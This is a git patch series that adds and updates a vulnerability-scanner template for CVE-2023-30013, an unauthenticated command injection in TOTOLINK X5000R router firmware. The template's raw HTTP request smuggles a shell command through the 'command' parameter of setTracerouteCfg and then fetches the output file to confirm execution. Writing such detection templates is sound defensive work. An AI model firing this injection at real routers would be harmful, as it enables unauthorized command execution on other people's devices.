From 208ff388432d062396936c48707c1c89dac184bc Mon Sep 17 00:00:00 2001 From: GwanYeong Kim Date: Sat, 30 Sep 2023 13:15:00 +0900 Subject: [PATCH 1/2] Create CVE-2023-30013.yaml TOTOLINK X5000R V9.1.0u.6118_B20201102 and V9.1.0u.6369_B20230113 contain a command insertion vulnerability in setting/setTracerouteCfg. This vulnerability allows an attacker to execute arbitrary commands through the "command" parameter. Signed-off-by: GwanYeong Kim --- http/cves/2023/CVE-2023-30013.yaml | 45 ++++++++++++++++++++++++++++++ 1 file changed, 45 insertions(+) create mode 100644 http/cves/2023/CVE-2023-30013.yaml diff --git a/http/cves/2023/CVE-2023-30013.yaml b/http/cves/2023/CVE-2023-30013.yaml new file mode 100644 index 0000000000..bfe887c133 --- /dev/null +++ b/http/cves/2023/CVE-2023-30013.yaml @@ -0,0 +1,45 @@ +id: CVE-2023-30013 + +info: + name: TOTOLink - Unauthenticated Command Injection + author: gy741 + severity: critical + description: | + TOTOLINK X5000R V9.1.0u.6118_B20201102 and V9.1.0u.6369_B20230113 contain a command insertion vulnerability in setting/setTracerouteCfg. This vulnerability allows an attacker to execute arbitrary commands through the "command" parameter. + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2023-30013 + - https://github.com/Kazamayc/vuln/tree/main/TOTOLINK/X5000R/2 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2023-30013 + cwe-id: CWE-78 + epss-score: 0.102540000 + epss-percentile: 0.942680000 + cpe: cpe:2.3:o:totolink:x5000r_firmware:9.1.0u.6118_b20201102:*:*:*:*:*:*:* + tags: totolink,cve,cve2023,router,unauth,rce,iot + +requests: + - raw: + - | + POST /cgi-bin/cstecgi.cgi HTTP/1.1 + Host: {{Hostname}} + + {"command":"127.0.0.1; ls>../{{randstr}};#","num":"230","topicurl":"setTracerouteCfg"} + + - | + GET /{{randstr}} HTTP/1.1 + Host: {{Hostname}} + + matchers-condition: and + matchers: + - type: word + part: body + words: + - ".sh" + - ".cgi" + condition: and + + - type: status + status: + - 200 From 2a2cf9fe8dac589bbeea44c7e8cf3b680ba21d25 Mon Sep 17 00:00:00 2001 From: pussycat0x <65701233+pussycat0x@users.noreply.github.com> Date: Tue, 10 Oct 2023 12:14:27 +0530 Subject: [PATCH 2/2] minor - update --- http/cves/2023/CVE-2023-30013.yaml | 13 ++++++++++--- 1 file changed, 10 insertions(+), 3 deletions(-) diff --git a/http/cves/2023/CVE-2023-30013.yaml b/http/cves/2023/CVE-2023-30013.yaml index bfe887c133..46fbe975b6 100644 --- a/http/cves/2023/CVE-2023-30013.yaml +++ b/http/cves/2023/CVE-2023-30013.yaml @@ -17,9 +17,9 @@ info: epss-score: 0.102540000 epss-percentile: 0.942680000 cpe: cpe:2.3:o:totolink:x5000r_firmware:9.1.0u.6118_b20201102:*:*:*:*:*:*:* - tags: totolink,cve,cve2023,router,unauth,rce,iot + tags: cve,cve2023,totolink,unauth,rce,intrusive -requests: +http: - raw: - | POST /cgi-bin/cstecgi.cgi HTTP/1.1 @@ -34,7 +34,14 @@ requests: matchers-condition: and matchers: - type: word - part: body + part: body_1 + words: + - "lan_ip" + - "reserv" + condition: and + + - type: word + part: body_2 words: - ".sh" - ".cgi"